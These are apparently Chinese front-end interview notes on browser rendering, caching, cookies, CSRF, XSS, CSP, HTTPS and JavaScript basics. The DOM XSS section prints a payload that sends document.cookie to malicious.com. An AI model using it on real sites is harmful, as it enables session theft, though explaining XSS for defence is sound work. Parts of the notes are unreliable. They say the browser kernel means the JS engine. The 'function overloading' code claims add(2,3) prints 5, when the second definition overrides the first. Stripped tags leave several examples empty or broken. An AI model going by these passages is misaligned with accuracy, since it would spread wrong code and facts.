浏览器的内核分成两部分:
渲染引擎
和JS引擎
(⚠️注意:我们常说的浏览器内核就是指JS引擎)
FireFox 和 Chrome 使用不同的渲染引擎和 JavaScript 引擎:
FireFox:
Chrome (以及大多数基于Chromium的浏览器,如新的Microsoft Edge):
浏览器是一个复杂的应用程序,其主要组件如下:
用户界面 (User Interface): 这部分包括地址栏、书签栏、前进/后退按钮、刷新按钮等。简而言之,除了您在浏览页面时看到的内容外,用户界面包括了其他所有部分。
浏览器引擎 (Browser Engine): 该模块在用户界面和渲染引擎之间起到中介的作用,传递命令。
渲染引擎 (Rendering Engine): 负责显示请求的内容。如果请求的是HTML内容,渲染引擎就负责解析HTML和CSS,并将解析后的内容显示在屏幕上。
网络 (Networking): 用于网络调用,例如HTTP请求。它负责发送查询和下载网页、图片、其他资源。
JavaScript解释器 (JavaScript Engine): 解析和执行JavaScript来实现网页的动态功能。
数据存储 (Data Storage): 这是持久层。浏览器需要在本地存储各种数据,如cookies。HTML5引入了web storage,允许网页本地存储数据。
交互流程:
当您在地址栏中输入URL并按下Enter时,用户界面指示浏览器引擎加载请求的网页。
浏览器引擎告知网络模块获取该URL的内容。
一旦网络模块完成下载网页的主要内容(通常是HTML文件),它将数据传递给渲染引擎。
渲染引擎开始解析HTML,并在解析过程中遇到其他资源(如CSS文件、JavaScript文件或图片)时请求网络模块加载它们。
如果渲染引擎在解析HTML时遇到JavaScript,并且JavaScript没有被延迟或异步加载(deffer\async异步加载js),则渲染引擎暂停HTML解析并将控制权交给JavaScript引擎。一旦JavaScript引擎完成执行,控制权返回渲染引擎。
DOM 构建: 当浏览器开始接收到HTML内容时,它会开始构建DOM(Document Object Model)。DOM是一个树形结构,表示页面的内容结构。DOM的构建是逐步的,也就是说,当浏览器接收到HTML内容的一部分时,它就开始构建DOM的这一部分。
CSSOM 构建: 同时,当浏览器遇到外部CSS文件(通过标签)或内部样式(通过
标签)时,它开始构建另一个树结构,称为CSSOM(CSS Object Model)。CSSOM表示样式规则及其如何应用到DOM上。
渲染树 构建: 一旦浏览器有了DOM和CSSOM,它会结合这两者来创建渲染树。渲染树只包含在页面上可见的元素以及这些元素的样式。
布局: 当渲染树被创建并完成之后,浏览器开始了布局过程,也被称为"reflow"。这是计算每个可见元素的大小和位置的过程。
绘制: 经过布局之后,浏览器会开始绘制页面,将每个元素渲染到屏幕上。
⚠️注意:与大多数浏览器不同的是,谷歌(Chrome)浏览器的每个标签页都分别对应一个渲染引擎实例。每个标签页都是一个独立的进程(进程和线程)
DOM通常被视为多叉树(或称为n-叉树)。这意味着每个节点可能有零个、一个或多个子节点。实际上,一个DOM元素节点的子节点数量是没有限制的。例如,一个
DOM是文档对象模型(Document Object Model)是一个用于HTML和XML文档的编程接口。DOM以树状模型表示文档的结构,树中的每个节点代表文档中的元素、属性或文本片段。开发者可以使用DOM API动态地操作网页的内容、结构和样式。
而BOM是浏览器对象模型(Browser Object Model)的缩写。它是一个编程接口,代表了浏览器的各个组件,如window对象、location对象、history对象等等。BOM提供了方法和属性来与浏览器窗口进行交互,处理导航,操作浏览器历史,显示对话框,以及控制框架和窗口等功能。
DOM和BOM的主要区别在于它们的作用范围。DOM主要用于操作网页的结构和内容,允许开发者访问和修改HTML元素、属性和文本节点。而BOM则涉及浏览器窗口及其组件,提供了控制浏览器行为和与用户交互的方法和属性。
这个题可以说是面试最常见也是一道可以无限难的题了,一般面试官出这道题就是为了考察你的前端知识深度。
URL解析:浏览器首先会解析输入的URL,提取出协议**(如HTTP、HTTPS)**、域名(如www.example.com)和路径等信息。
DNS解析:浏览器会向本地DNS解析器发送一个DNS查询请求,以获取输入域名对应的IP地址。如果本地DNS缓存中存在域名的解析结果,则直接返回IP地址;否则,本地DNS解析器会向根DNS服务器、顶级域名服务器和授权域名服务器等级联查询,最终获取到域名的IP地址。
建立TCP连接:浏览器使用获取到的IP地址,通过TCP/IP协议与服务器建立网络连接。这个过程通常经历三次握手,确保客户端和服务器之间的可靠连接。
发起HTTP请求:一旦建立了TCP连接,浏览器就会发送一个HTTP请求到服务器。请求中包含了请求行(请求方法,如GET或POST,以及请求的资源路径)、请求头(如Accept、User-Agent等)和请求体(对于POST请求)等信息。
服务器处理请求:服务器接收到浏览器发送的HTTP请求后,会根据请求的路径和参数等信息,处理请求并生成相应的响应。
接收响应:浏览器接收到服务器发送的HTTP响应后,会解析响应头和响应体。响应头包含了状态码(如200表示成功,404表示资源未找到)和其他元信息,响应体包含了服务器返回的实际内容(如HTML、CSS、JavaScript、图片等)。
渲染页面:浏览器开始解析响应体中的HTML文档,并构建DOM(文档对象模型)树。同时,它还会解析CSS文件和JavaScript代码,并进行样式计算、布局和渲染。最终,将解析后的内容显示在用户界面上,呈现出完整的页面。
关闭TCP连接(四次挥手):一旦页面呈现完成,浏览器会关闭与服务器之间的TCP连接。如果页面中存在其他资源(如图片、脚本、样式表),则会继续发送相应的HTTP请求来获取这些资源,并重复执行步骤5到步骤7,直至所有资源加载完成。
以下是一些常见的HTTP状态码:
1xx(信息性状态码):表示接收的请求正在处理。
2xx(成功状态码):表示请求已成功被服务器接收、理解和处理。
3xx(重定向状态码):表示需要进一步操作以完成请求。
4xx(客户端错误状态码):表示客户端发出的请求有错误。
5xx(服务器错误状态码):表示服务器在处理请求时发生了错误。
重绘不一定导致重排,但重排一定绘导致重绘
如何触发重绘和重排?
任何改变 用来构建渲染树的信息 都会导致一次重排或重绘:
如何避免重绘或重排?
先上结论:
- CSS不会阻塞DOM的解析,但会阻塞DOM的渲染
- CSS会阻塞JS执行,但不会阻塞JS文件的下载
为什么CSS不会阻塞DOM的解析,但会阻塞DOM的渲染?(DOM和CSSOM通常是并行构建的,所以CSS加载不会阻塞DOM的解析,前一个DOM的解析指的是HTML的解析构建DOM树,后一个DOM的渲染指的是DOM与CSSOM结合的渲染树的渲染)
CSS解析之前,由HTML解析出来的DOM已经开始构建?(并行的,但是,如果dom解析到一半,遇到js改变css样式则需要等待css被加载完毕,这也是为什么css会阻塞JS的执行)
DOM 构建: 当浏览器开始接收到HTML内容时,它会开始构建DOM(Document Object Model)。DOM是一个树形结构,表示页面的内容结构。DOM的构建是逐步的,也就是说,当浏览器接收到HTML内容的一部分时,它就开始构建DOM的这一部分。
CSSOM 构建: 同时,当浏览器遇到外部CSS文件(通过标签)或内部样式(通过
标签)时,它开始构建另一个树结构,称为CSSOM(CSS Object Model)。CSSOM表示样式规则及其如何应用到DOM上。
渲染树 构建: 一旦浏览器有了DOM和CSSOM,它会结合这两者来创建渲染树。渲染树只包含在页面上可见的元素以及这些元素的样式。
布局: 当渲染树被创建并完成之后,浏览器开始了布局过程,也被称为"reflow"。这是计算每个可见元素的大小和位置的过程。
绘制: 经过布局之后,浏览器会开始绘制页面,将每个元素渲染到屏幕上。
但是,一个重要的点要注意:当浏览器在构建DOM时遇到标签,并且该脚本不是
async
或defer
的,浏览器会暂停DOM的构建,直到脚本执行完毕。如果此时的JavaScript试图访问某些尚未解析的CSS属性,那么浏览器可能需要先完成CSSOM的构建。这就是为什么阻塞的(非异步的)JavaScript和大量的CSS可能会导致页面加载延迟的原因之一。
deffer\async 加载js
先上结论
JS会阻塞DOM的解析,也会与渲染线程互斥,因此也就会阻塞页面的加载
这也是为什么要把JS文件放在最下面的原因
为什么GUI渲染线程要和JS引擎互斥?
由于 JavaScript 是可操纵 DOM 的,如果在修改这些元素属性同时渲染界面(即 JavaScript 线程和 UI 线程同时运行),那么渲染线程前后获得的元素数据就可能不一致了。
因此为了防止渲染出现不可预期的结果,浏览器设置 「GUI 渲染线程与 JavaScript 引擎为互斥」的关系。
当浏览器在执行 JavaScript 程序的时候,GUI 渲染线程会被保存在一个队列中,直到 JS 程序执行完成,才会接着执行。
因此如果 JS 执行的时间过长,这样就会造成页面的渲染不连贯,导致页面渲染加载阻塞的感觉。
认识浏览器缓存:
当浏览器请求一个网站时,会加载各种资源,对于一些不经常变动的资源,浏览器会将他们保存在本地内存中,下次访问时直接加载这些资源,提高访问速度。
浏览器缓存分类:
什么样的资源使用强缓存,什么样的资源使用协商缓存?
使用强缓存的资源:不经常变化的资源(例如 CSS、JavaScript 文件,图片、视频等)
使用协商缓存的资源:经常变化的资源(例如来自数据库的内容、新闻、博客帖子等,它们可能经常变化)
如何实现强缓存?
设置Expires与Cache-Control,Expires逐渐被Cache-Control取代。
如何实现协商缓存?
后面两种方法通常与Cache-Control
指令一起使用。
与缓存相关的配置方法:
请求头(Request Headers):
If-None-Match
: 等于上次服务器响应体中的ETag值,询问服务器资源是否被修改。If-Modified-Since
: 询问资源是否过期。Cache-Control
: 指明了资源如何被缓存的指令,例如max-age
, no-cache
, private
, public
等。响应头(Response Headers):
4. Cache-Control
: 指明了资源如何被缓存的指令,例如max-age
, no-cache
, private
, public
等。
Expires
: 设置资源过期的绝对时间。
ETag
: 服务器为资源生成的一个标识符。
Last-Modified
: 表示资源最后一次被修改的时间。
Vary
: 告诉缓存机制哪些请求头部信息应该被考虑进去。
缓存完整流程图:
浏览器提供了多种客户端存储机制,每种机制都有其特定的用途、特性和限制。以下是对 cookie
、localStorage
、sessionStorage
和 IndexedDB
的对比:
1. Cookie
HttpOnly
标志以防止通过JS访问)。2. LocalStorage
3. SessionStorage
4. IndexedDB
总结
cookie
< localStorage/sessionStorage
<< IndexedDB
sessionStorage
< cookie
(如果设置了过期时间) = localStorage
= IndexedDB
cookie
会随HTTP请求自动发送。IndexedDB
提供了数据库的功能和结构。5.使用localStorage注意事项和限制:
使用localStorage
时,有以下注意事项和限制需要考虑:
容量限制:localStorage
的存储容量通常为5MB到10MB,不同浏览器可能有略微不同的限制。超过容量限制时,将无法继续往localStorage
中存储数据。
数据格式限制:localStorage
只能存储字符串类型的数据。如果需要存储其他数据类型(如对象、数组等),需要先将其转换为字符串形式(如使用JSON.stringify()
方法),再存储到localStorage
中,并在读取时进行相应的解析(如使用JSON.parse()
方法)。
同源策略:localStorage
受到同源策略的限制,即只能在同一个域名下的页面之间进行数据共享。每个域名都拥有独立的localStorage
存储空间,不同域名之间的localStorage
无法相互访问。
持久性:localStorage
的数据将一直保留在客户端,除非主动删除或浏览器清除缓存。即使关闭浏览器或重新启动设备,数据仍然会保留。
安全性:由于localStorage
存储在客户端,因此数据可能面临一定的安全风险。恶意脚本可能尝试读取或篡改localStorage
中的数据。为了保护敏感信息,应该避免在localStorage
中存储敏感数据,或者对敏感数据进行加密处理。
性能影响:频繁读写大量数据到localStorage
可能会对页面性能产生影响。过多的数据读写操作可能导致页面响应变慢。
不支持跨线程访问:localStorage
只能在主线程中使用,无法在Web Worker等其他线程中访问。
不支持事务和查询:localStorage
并不适合用于处理复杂的数据查询和事务操作。它是一个简单的键值存储系统,没有提供复杂的查询语言或事务处理机制。
考虑到这些注意事项和限制,使用localStorage
时应谨慎处理数据类型、数据量和安全性,并确保符合同源策略和性能需求。在一些复杂的场景下,可能需要考虑使用其他技术或存储方案来满足需求。
HttpOnly
?为什么我们需要它?HttpOnly
是一个用于设置 HTTP Cookie 的属性,它的作用是限制客户端(通常是浏览器)对 Cookie 的访问,只允许通过 HTTP 或 HTTPS 协议进行访问,而禁止通过脚本(如 JavaScript)进行访问。
使用 HttpOnly
属性可以提高 Web 应用程序的安全性:防止跨站脚本攻击(XSS):浏览器将禁止 JavaScript 访问带有该属性的 Cookie
HttpOnly
,哪些其他标志或属性可以提高Cookie的安全性?Secure
属性:只允许通过 HTTPS 连接传输 Cookie。
SameSite
属性:SameSite
属性用于定义 Cookie 发送的规则,以防止跨站点请求伪造(CSRF)攻击。可以将 SameSite
属性设置为以下值之一:Strict
、Lax
或 None
。Strict
模式完全禁止跨站点发送 Cookie,Lax
模式在导航到目标站点之前仅允许在安全上下文(指顶导)中发送 Cookie,而 None
模式允许在任何情况下发送 Cookie(需要同时设置 Secure
属性)。使用适当的 SameSite
设置可以限制 Cookie 的发送范围,减少 CSRF 攻击的风险。
Domain
属性:通过设置 Domain
属性,可以限制 Cookie 的作用域。将 Domain
属性设置为与当前网站的主域名匹配,可以防止恶意网站访问到另一个网站的 Cookie。这可以提高 Cookie 的隔离性和安全性。
Path
属性:设置Cookie的可发送路径。这样可以防止其他路径下的恶意脚本访问和窃取 Cookie。
定期更新和轮换 Cookie:定期更改敏感 Cookie 的值,增加攻击者窃取 Cookie 的难度。同时,使用有限的有效期限制 Cookie 的生命周期。
CSP(内容安全策略):通过 CSP,可以定义网页可以加载的资源源,限制恶意脚本的执行和 Cookie 的访问。
res.cookie('cookieName', 'cookieValue', {
httpOnly: true,
secure: true,
sameSite: 'Strict',
domain: 'example.com',
path: '/'
});
SameSite
场景:
那我如果设置SameSite中的Strict,那是不是完全禁止跨站点发送 Cookie。也就是在evil.com里面点。也不会携带cookie了?
SameSite 属性是一个相对较新的 Cookie 属性,用于增强浏览器中的跨站点请求的安全性。该属性有三个可能的值:
Strict、
Lax和
None`。
当设置为 SameSite=Strict
时,该 Cookie 仅在请求来自同一站点时发送。这意味着,即使用户已经在 bank.com
上登录,如果他们访问了 evil.com
并从那里尝试通过 标签或任何其他方式触发一个跨站点请求,浏览器将不会附带与
bank.com
相关的任何 SameSite=Strict
的 Cookie。
SameSite=Lax
是一个稍微宽松一点的版本,它允许一些安全的跨站点请求(例如GET请求)携带 Cookie,但不允许跨站点的 POST 请求携带 Cookie。这可以避免许多 CSRF 攻击,同时仍然允许某些跨站点的使用场景。
SameSite=None
意味着 Cookie 可以在任何跨站点请求中发送,但这需要与 Secure
标志一起使用,这意味着 Cookie 只能通过 HTTPS 发送。
为了增强安全性,许多现代浏览器已经开始更改其对 SameSite
的默认行为,将其默认设置为 Lax
。这就是为什么在某些场景中,如果没有明确设置 SameSite
属性,您可能会看到一些关于 Cookie 行为的变化。
综上所述,设置 SameSite=Strict
确实可以大大减少 CSRF 攻击的风险,因为它会完全阻止跨站点发送 Cookie。
如何理解Samesite = Lax?:
bank.com
并获取了一个带有SameSite=Lax
属性的cookie。evil.com
。evil.com
上有一个尝试利用CSRF漏洞发起的XHR请求,目标是bank.com/transferMoney
。由于cookie设置为Lax
,这个跨站XHR请求不会携带bank.com
的cookie,从而防止了潜在的CSRF攻击。evil.com
上点击一个指向bank.com
的链接,由于这是一个顶层导航请求,bank.com
的cookie将会被发送,尽管是从evil.com
触发的。总结:转账请求不携带cookie,顶层导航请求携带cookie,从而确保不破坏用户的正常浏览体验.
SameSite与Secure的不同:
SameSite
属性用来控制 Cookie 是否能够在跨站请求中被发送。Secure
属性确保 Cookie 只能通过 HTTPS 协议发送。如何理解Domain属性?:
Domain
属性在Cookie中定义了哪些域名可以访问该Cookie。它有助于定义Cookie的范围。
默认情况下,Cookie只能被创建它的页面所访问。但是,如果你设置了Domain
属性,这个Cookie就可以被此域下的其他子域所访问。
那cookie的domain属性,能解决cookie的跨域问题吗?
回到你的问题,domain 属性解决的其实不是通常意义上的“跨域问题”,而是主域下的子域名共享问题。跨完全不同的域(例如 example.com 和 another.com)之间是无法共享 cookie 的,无论如何设置 domain 属性。如果你需要在完全不同的域名之间共享信息,你可能需要使用其他方法,如 JSONP、CORS 或服务器间的通信。
如何在JavaScript中设置和读取Cookies?
在JavaScript中,可以使用document.cookie
属性来读取和设置cookies。
CSRF(跨站请求伪造:攻击者诱使受害者的浏览器执行未经授权的请求,通常是在受害者已经登录目标站点并在其会话中持有有效凭据的情况下。简而言之,CSRF攻击的目标是利用受害者当前的身份来执行某些操作,而受害者通常不会意识到这些操作的发生。
CSRF 攻击简化流程:
目标:攻击者希望攻击某个受害者在网站 bank.com
上的账户,该受害者在 bank.com
有登录状态。
建立陷阱:攻击者在一个他控制的网站 evil.com
上放置了一个恶意脚本或者构造了一个看起来正常的链接。这个链接或脚本其实是向 bank.com
发送一个请求。
例如:
当受害者访问 evil.com
时,上述链接会尝试向 bank.com
发起一个转账请求。
利用用户登录状态:如果受害者在 bank.com
处于登录状态,并且其浏览器还有 bank.com
的 Cookie,这个请求就会带上这个 Cookie,因为浏览器会自动附带相应站点的 Cookie。从 bank.com
的角度看,这个请求看起来是一个合法的用户请求。
完成攻击:如果 bank.com
没有进行 CSRF 保护,它会执行这个恶意请求,将受害者的钱转到攻击者的账户。
如何防范 CSRF 攻击:
使用 CSRF 令牌:为每个会话和请求生成一个随机的、不可预测的令牌。只有在收到正确的令牌时,服务器才会处理请求。
检查 Referer 标头:如果请求的来源不是预期的域(例如从 evil.com
来的请求),那么可以拒绝该请求。
强制重新认证:对于敏感的操作(如转账),要求用户再次输入密码或进行其他形式的二次认证。
设置cookie中的sameSite:限制跨站点携带cookie
我的问题:
cookie默认情况就是不跨域的,为什么受害者访问 evil.com 时点击了链接能发送bank.com 的 Cookie?
问题的核心并不在于 cookie 是否可以在不同的域之间"共享",而在于浏览器的行为和如何处理带有 cookie 的请求。
这就是 CSRF 攻击的核心:它不是试图窃取或直接利用 Cookie,而是利用浏览器的这种自动行为来执行未经授权的操作。
跨站脚本攻击(Cross-Site Scripting,简称 XSS)是一种在 web 应用中插入恶意脚本的攻击方式。攻击者利用这种攻击方法可以执行任意的脚本代码,并借此获得对网站或其用户的非法访问权限。XSS 攻击的成功往往是因为网站未能正确地过滤用户输入的内容。
以下是关于 XSS 攻击的详细描述:
工作原理:
对于 XSS(跨站脚本攻击),理解其三个主要类型是非常重要的。每种类型的攻击都基于相同的核心概念,即将恶意脚本注入到受害者的浏览器中并执行,但是它们的执行方式和攻击点存在差异。以下是对三种类型的更深入解释:
三种XSS:
存储型 XSS:
反射型 XSS:
DOM 型 XSS:
为了避免 XSS 攻击,开发者需要确保在将用户输入的数据插入到 web 页面之前,对其进行适当的验证和转义。此外,内容安全策略(CSP)和其他现代浏览器安全措施也可以帮助降低 XSS 攻击的风险。
eval()
。httpOnly
属性,这样即使脚本尝试访问 cookie,浏览器也不会返回这些 cookie 的内容。DOM型XSS攻击详解:
我将为您描述一个具体的 DOM 型 XSS 攻击的例子。
场景: 假设我们有一个简单的搜索引擎网站,它使用 JavaScript 从 URL 的查询参数中获取用户输入的搜索关键词,然后直接将其显示在搜索结果页面上。以下是这个操作的简化版 JavaScript 代码:
// 获取 URL 中 "q" 参数的值
let userQuery = new URLSearchParams(window.location.search).get('q');
// 直接在页面上显示搜索关键词
document.getElementById('search-result').innerHTML = "您搜索的是:" + userQuery;
攻击过程:
q
参数中获取数据,并不经过任何过滤或转义就将其插入到页面中。q
参数的值:http://example.com/search?q=<script>fetch('http://malicious.com/steal?cookie='+document.cookie)</script>
标签中的恶意代码会被执行。malicious.com
域名。防御措施:
要防止 DOM 型 XSS 攻击,网站开发者可以采取以下措施:
.textContent
或其他安全方法,而不是使用 .innerHTML
来插入数据,因为 .innerHTML
可能会执行嵌入其中的脚本。反射性XSS详解:
我将为您描述一个具体的反射型 XSS 攻击的例子。
场景: 假设有一个网站,该网站允许用户通过 URL 的查询参数来自定义欢迎消息。例如,当用户访问 http://example.com/welcome?name=Alice
时,网站会显示“Hello, Alice!”。该网站的后端代码简单地从 URL 获取 name
参数,并将其嵌入到返回给用户的 HTML 页面中。
攻击过程:
name
参数的值。name
参数的值:http://example.com/welcome?name=
标签中的恶意代码作为响应的一部分返回给受害者的浏览器。malicious.com
域名。防御措施:
要防止反射型 XSS 攻击,网站开发者可以采取以下措施:
这只是反射型 XSS 的一个简化示例,但它提供了一个关于如何进行这种攻击和如何进行防御的基本概念。
DOM型与反射型的区别?
您的困惑是可以理解的,因为反射型 XSS 和 DOM 型 XSS 在某些方面确实很相似,特别是它们都涉及从 URL 获取恶意载荷并在用户的浏览器中执行。但它们之间存在一些关键的区别:
数据的处理位置:
服务器的作用:
防御方法:
内容安全策略(Content Security Policy,CSP)是一个非常强大的安全特性,用于减少跨站脚本攻击(XSS)和其他代码注入攻击的风险。当你深入学习CSP时,以下是一些核心方面和概念,你应该重点了解:
CSP的基本概念:
指令:CSP包含了多种指令来控制不同类型的资源的加载:
default-src
: 默认策略,如果没有指定其他指令,该策略会被使用。script-src
: 控制脚本的来源。style-src
: 控制样式表的来源。img-src
: 控制图像的来源。font-src
: 控制字体的来源。connect-src
: 控制与哪些服务器可以建立连接(例如使用fetch或XHR)。frame-src
: 控制可以嵌入页面的iframe的来源。来源值:
'self'
: 只允许从同源加载。'unsafe-inline'
: 允许内联脚本和样式。'unsafe-eval'
: 允许使用eval()和相关函数。nonce-
: 允许指定一个随机令牌,只有与此令牌匹配的脚本或样式才会被执行。hash-
: 允许基于内容哈希值的特定脚本或样式。报告:
report-uri
: 如果有违反CSP策略的加载尝试,告诉浏览器将违规报告发送到哪里。report-to
: 新的报告端点定义,它更灵活并取代了report-uri
。模式:了解CSP可以工作在两种主要模式:
HTTP(Hypertext Transfer Protocol)和HTTPS(HTTP Secure)是用于在客户端和服务器之间传输数据的协议,它们在以下几个方面有所区别:
对于第三方证书如何保证服务器的可信性,这涉及到公开密钥基础设施(PKI)的工作原理。具体步骤如下:
服务器生成密钥对:服务器首先生成一个密钥对,包括公钥和私钥。
证书请求:服务器将公钥发送给受信任的第三方机构(证书颁发机构,CA),请求颁发证书。
验证身份:证书颁发机构验证服务器的身份。
颁发证书:一旦服务器的身份验证通过,证书颁发机构会生成证书并将其签名。证书中包含了服务器的公钥以及其他相关信息。
客户端验证:当客户端与服务器建立HTTPS连接时,服务器会将证书发送给客户端。客户端会验证证书的合法性,包括检查证书的签名、过期时间、颁发机构等。
可信根证书:客户端会使用自己内置的受信任的根证书(Root CA)来验证服务器证书的合法性。如果证书链可以追溯到受信任的根证书,且没有被撤销或过期,客户端会信任服务器的证书。
前端性能优化是提高网页加载速度和响应性能的关键方面。以下是一些常见的前端性能优化技巧:
减少 HTTP 请求:减少网页需要发送的 HTTP 请求次数,可以通过合并和压缩文件、使用 CSS 精灵图、减少第三方库和插件的使用等方式来实现。
压缩文件:压缩 CSS、JavaScript 和 HTML 文件,可以减小文件大小,加快下载速度。可以使用压缩工具(如UglifyJS、CSSNano等)或使用构建工具(如Webpack、Gulp)进行文件压缩。
使用浏览器缓存:通过设置适当的缓存头(Cache-Control、Expires等),使得浏览器可以缓存静态资源,减少不必要的请求和下载。
图片优化:对图片进行优化,包括压缩图片大小、选择合适的图片格式(如JPEG、PNG、WebP)以及使用图片懒加载等技术来减少页面加载时间。
延迟加载:延迟加载非关键内容,如图片、视频、广告等,可以通过懒加载技术(如Intersection Observer API)来实现,以提高初始页面加载速度。
代码优化:优化 JavaScript 和 CSS 代码,包括删除不必要的注释和空格、减少重绘和重排、避免不必要的计算和循环等,以提高执行效率。
使用 CDN:将静态资源(如图片、CSS、JavaScript文件)托管到内容分发网络(CDN)上,可以提高资源加载速度,减少服务器负载。
预加载和预渲染:使用预加载(Preload)和预渲染(Prerender)技术,提前加载和渲染关键资源和页面,以加快用户访问体验。
响应式设计:采用响应式设计,使网页能够适应不同屏幕尺寸和设备,提供更好的用户体验。
代码分割和按需加载:将大型应用程序拆分为小模块,并按需加载,以避免不必要的资源加载和初始化,提高页面加载速度。
监测和分析:使用工具(如Lighthouse、WebPageTest、Google Analytics等)监测和分析网页性能,找出性能瓶颈,并针对性地进行优化。
以上是一些常见的前端性能优化技巧,具体的优化策略和技术选择应根据项目需求和实际情况进行评估和实施。重要的是不断测试和测量优化的效果,并进行持续改进。
当传递引用类型(如对象、数组)时,你实际上是传递了一个指向原始数据的指针或引用。因此,如果你修改了传递后的引用,原始数据也会受到影响。为了避免这种情况,你可以进行“深复制”或“深克隆”以创建原始数据的一个完整副本,这样原始数据和副本之间就不会相互影响。
以下是一些常用方法来传递引用类型并确保它们互不影响:
使用 JSON 方法:
这是一个简单的方法,但有局限性(例如,它不能处理函数、undefined
、正则表达式或新的数据类型如 Map
和 Set
)。
var original = { a: 1, b: { c: 2 } };
var copy = JSON.parse(JSON.stringify(original));
使用递归方法进行深克隆:
function deepClone(obj, hash = new WeakMap()) {
if (obj == null) return obj; // 如果是null或undefined,直接返回
if (obj instanceof RegExp) return new RegExp(obj);
if (obj instanceof Date) return new Date(obj);
if (hash.has(obj)) return hash.get(obj); // 防止循环引用
let t = new obj.constructor();
hash.set(obj, t);
for (let key in obj) {
if (obj.hasOwnProperty(key)) {
t[key] = deepClone(obj[key], hash);
}
}
return t;
}
var original = { a: 1, b: { c: 2 } };
var copy = deepClone(original);
使用第三方库:
例如,lodash 提供了一个 cloneDeep
方法,可以用来进行深克隆。
var _ = require('lodash');
var original = { a: 1, b: { c: 2 } };
var copy = _.cloneDeep(original);
这些方法可以确保你传递的引用类型数据互不影响。但在使用时,你应该考虑到深克隆可能会比浅克隆或直接传递引用更加耗时,尤其是在处理大数据结构时。
在前端面试中,"静态多态"是一个常见的概念,通常与面向对象编程(Object-Oriented Programming,简称OOP)相关。
静态多态(Static Polymorphism)也被称为编译时多态或早期绑定(Early Binding),它是在编译时确定方法调用的一种特性。在静态多态中,方法重载是最常见的应用形式。
方法重载是指在同一个类中定义多个具有相同名称但参数列表不同的方法。通过重载,可以根据传递给方法的参数的类型、数量或顺序来决定具体调用哪个方法。这种静态多态性是通过编译器在编译时根据方法的签名来确定的。
静态多态的一个示例是在前端开发中使用的函数重载。在JavaScript中,函数重载是一种模拟静态多态的技术,因为JavaScript不直接支持方法重载。通过在函数内部根据参数的类型和数量进行条件判断,可以实现不同的函数行为。
下面是一个简单的JavaScript函数重载示例:
function add(x, y) {
return x + y;
}
function add(x, y, z) {
return x + y + z;
}
console.log(add(2, 3)); // 输出 5
console.log(add(2, 3, 4)); // 输出 9
在上面的例子中,通过定义两个同名但参数个数不同的函数add
,实现了根据参数个数的不同来执行不同的加法操作。
总结来说,静态多态是指在编译时根据方法的签名来确定方法调用的特性。在前端开发中,函数重载是一种模拟静态多态的技术,可以根据参数的类型、数量或顺序来实现不同的函数行为。
在 JavaScript 中,从 ES6(ES2015)开始,我们可以使用类(classes)来定义对象的结构和方法。但是,直到 ES2020,JavaScript 的类并没有提供原生的 private
或 public
修饰符。ES2020 为类引入了真正的私有字段和方法,这为 JavaScript 开发者提供了一种确保数据封装和私有状态的方式。
以下是如何在 JavaScript 中使用 private
和 public
修饰符:
public(默认情况下)
所有没有使用任何修饰符的属性和方法默认都是公有的。你不需要显式地标注它们为 public
。
class MyClass {
publicField = "I'm public!"; // public by default
publicMethod() {
console.log("Hello from a public method!");
}
}
const instance = new MyClass();
console.log(instance.publicField); // I'm public!
instance.publicMethod(); // Hello from a public method!
private
在属性或方法的名称前使用 #
可以将其标记为私有。私有字段或方法不能从类的外部访问。
class MyClass {
#privateField = "I'm private!";
#privateMethod() {
console.log("Hello from a private method!");
}
accessPrivate() {
console.log(this.#privateField);
this.#privateMethod();
}
}
const instance = new MyClass();
// console.log(instance.#privateField); // Error! Private field
// instance.#privateMethod(); // Error! Private method
instance.accessPrivate(); // This will access the private field and method
注意,真正的私有类字段和方法在旧的浏览器或 JavaScript 环境中可能不受支持。在使用前,请确保你的目标环境支持 ES2020 或更高版本的功能。
进程和线程
深度优先遍历和广度优先遍历
diff算法
react原理fiber调度算法
以下是与浏览器相关的一些面试题,这些问题涵盖了浏览器的基础知识、性能、安全性以及与前端开发相关的细节:
渲染 & 性能:
缓存:
9. 什么是浏览器缓存?描述其工作原理。
10. Cache-Control 的作用是什么?请解释它的一些常用值。
11. ETag 和 Last-Modified 的区别是什么?
安全性:
12. 描述XSS和CSRF攻击,以及如何防御。
13. Content Security Policy (CSP) 是什么?
14. 为什么HTTPS是安全的?它与HTTP有何不同?
存储 & Cookies:
15. 描述cookie、localStorage、sessionStorage和indexedDB的区别。
16. Cookie 的SameSite属性是什么?为什么它重要?
网络 & HTTP:
17. 请描述HTTP和HTTP/2的主要区别。
18. 什么是CORS?如何在前端中处理跨域请求?
19. 什么是WebSocket?与常规HTTP请求有何不同?
前端开发:
20. 如何检测用户的浏览器类型和版本?
21. 什么是浏览器的用户代理(User Agent)?
22. 为什么移动端的浏览器通常比桌面端的浏览器功能更少?
其它:
23. 描述Web Workers和其用途。
24. Progressive Web Apps (PWA) 是什么?它的主要优势是什么?
25. 什么是Service Worker?
当然,每个问题都可以根据其深度进一步拆分,这只是与浏览器相关面试题的一个简单大纲。希望对您有所帮助!
什么是浏览器的同源策略